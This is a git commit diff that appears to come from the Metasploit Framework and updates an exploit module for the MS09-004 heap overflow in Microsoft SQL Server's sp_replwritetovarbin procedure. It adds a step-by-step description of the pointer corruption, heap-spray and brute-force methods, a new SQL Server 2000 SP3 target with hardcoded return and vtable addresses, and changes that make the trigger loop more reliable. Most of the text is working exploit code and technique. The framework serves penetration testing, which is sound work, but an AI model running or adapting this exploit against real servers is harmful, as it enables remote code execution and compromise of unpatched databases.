added description, sql2ksp3 target, minor reliability improvement
git-svn-id: file:///home/svn/framework3/trunk@8067 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
58cfcd99f8
commit
9a9c92d785
|
@ -21,8 +21,41 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
super(update_info(info,
|
||||
'Name' => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption',
|
||||
'Description' => %q{
|
||||
TODO:
|
||||
write description
|
||||
A heap-based buffer overflow can occur when calling the undocumented
|
||||
"sp_replwritetovarbin" extended stored procedure. This vulnerability affects
|
||||
all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,
|
||||
and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.
|
||||
|
||||
This exploit smashes several pointers, as shown below.
|
||||
|
||||
1. pointer to a 32-bit value that is set to 0
|
||||
2. pointer to a 32-bit value that is set to a length influcenced by the buffer
|
||||
length.
|
||||
3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,
|
||||
this value is referenced with a displacement of 0x38. For MSSQL 2005, the
|
||||
displacement is 0x10. The address of our buffer is conveniently stored in
|
||||
ecx when this instruction is executed.
|
||||
4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with
|
||||
a displacement of 4. This pointer is not used by this exploit.
|
||||
|
||||
There are two different methods used by this exploit, which have been named
|
||||
"writeNcall" and "sprayNbrute".
|
||||
|
||||
The first, "writeNcall", was published by k`sOSe on Dec 17 2008. It uses pointers
|
||||
2 and 3, as well as a writeable address. This method is quite reliable. However,
|
||||
it relies on the the operation on pointer 2. Newer versions of SQL server
|
||||
(>= 2000 SP3 at least) use a length value that is 8-byte aligned. This imposes a
|
||||
restriction that the code address that leads to the payload (jmp ecx in this
|
||||
case) must match the regex '.[08].[08].[08].[08]'. Unfortunately, no such
|
||||
addresses were found in memory.
|
||||
|
||||
For this reason, the second method, "sprayNbrute" is used. First a heap-spray
|
||||
is used to prime memory with lots of copies of the address of our code that
|
||||
leads to the payload (jmp ecx). Next, brute force is used to try to guess a
|
||||
value for pointer 3 that points to the sprayed data.
|
||||
|
||||
A new method of spraying the heap inside MSSQL is presented. Sadly, it only
|
||||
allows the creation of a bunch of 8000 byte buffers.
|
||||
},
|
||||
'Author' => [ 'jduck' ],
|
||||
'License' => MSF_LICENSE,
|
||||
|
@ -42,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Payload' =>
|
||||
{
|
||||
'Space' => 512,
|
||||
'BadChars' => "",
|
||||
'BadChars' => "", # nul bytes are ok!
|
||||
'StackAdjustment' => -3500,
|
||||
'DisableNops' => true
|
||||
},
|
||||
|
@ -67,6 +100,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Ret' => 0x42b6be7b # jmp ecx in sqlsort.dll (2000 base)
|
||||
},
|
||||
],
|
||||
[
|
||||
# Microsoft SQL Server 2000 - 8.00.760 (Intel X86)
|
||||
# Dec 17 2002 14:22:05
|
||||
'MSSQL 2000 / MSDE SP3 (8.00.760)',
|
||||
{
|
||||
'Method' => 'sprayNbrute',
|
||||
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
|
||||
'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec)
|
||||
'Ret' => 0x42b6be7b # jmp ecx in sqlsort.dll (2000 sp3)
|
||||
},
|
||||
],
|
||||
[
|
||||
# Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
|
||||
# May 3 2005 23:18:38
|
||||
|
@ -121,6 +165,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# TODO: add more versions
|
||||
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/)
|
||||
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.760/)
|
||||
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/)
|
||||
return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/)
|
||||
return Exploit::CheckCode::Safe
|
||||
|
@ -137,10 +182,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
if (version =~ /8\.00\.194/)
|
||||
mytarget = targets[1]
|
||||
elsif (version =~ /8\.00\.2039/)
|
||||
elsif (version =~ /8\.00\.760/)
|
||||
mytarget = targets[2]
|
||||
elsif (version =~ /9\.00\./)
|
||||
elsif (version =~ /8\.00\.2039/)
|
||||
mytarget = targets[3]
|
||||
elsif (version =~ /9\.00\./)
|
||||
mytarget = targets[4]
|
||||
end
|
||||
|
||||
if mytarget.nil?
|
||||
|
@ -238,16 +285,16 @@ exec master..sp_executesql @buf
|
|||
|
||||
def exploit_spray_and_brute(mytarget)
|
||||
|
||||
if (not mssql_login_datastore)
|
||||
raise RuntimeError, "Invalid SQL Server credentials"
|
||||
end
|
||||
|
||||
brute_count = 1000
|
||||
brute_step = 4096
|
||||
spray = true
|
||||
|
||||
if spray
|
||||
|
||||
if (not mssql_login_datastore)
|
||||
raise RuntimeError, "Invalid SQL Server credentials"
|
||||
end
|
||||
|
||||
print_status("Spraying the heap with our vtable entry pointer of %#x" % mytarget['Ret'])
|
||||
|
||||
# spray the heap! (count of 'max' blocks of 8000 bytes...)
|
||||
|
@ -275,6 +322,8 @@ exec master..sp_executesql @buf
|
|||
|
||||
break if not mssql_query(runme)
|
||||
end
|
||||
|
||||
disconnect
|
||||
end
|
||||
|
||||
sqlquery = %Q|declare @i int,@buf nvarchar(4000)
|
||||
|
@ -317,17 +366,19 @@ exec master..sp_executesql @buf
|
|||
print_status("Triggering the call to our faked vtable ptr @ %#x" % vtable)
|
||||
|
||||
# go!
|
||||
if (not mssql_login_datastore)
|
||||
raise RuntimeError, "Unable to log in!"
|
||||
end
|
||||
begin
|
||||
mssql_query(runme)
|
||||
rescue ::Errno::ECONNRESET
|
||||
print_error("connection reset!")
|
||||
if (not mssql_login_datastore)
|
||||
raise RuntimeError, "Unable to re-login!"
|
||||
end
|
||||
rescue ::Errno::ECONNRESET, EOFError
|
||||
print_error("Oh no, lost connection!")
|
||||
end
|
||||
|
||||
handler
|
||||
break if session_created?
|
||||
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue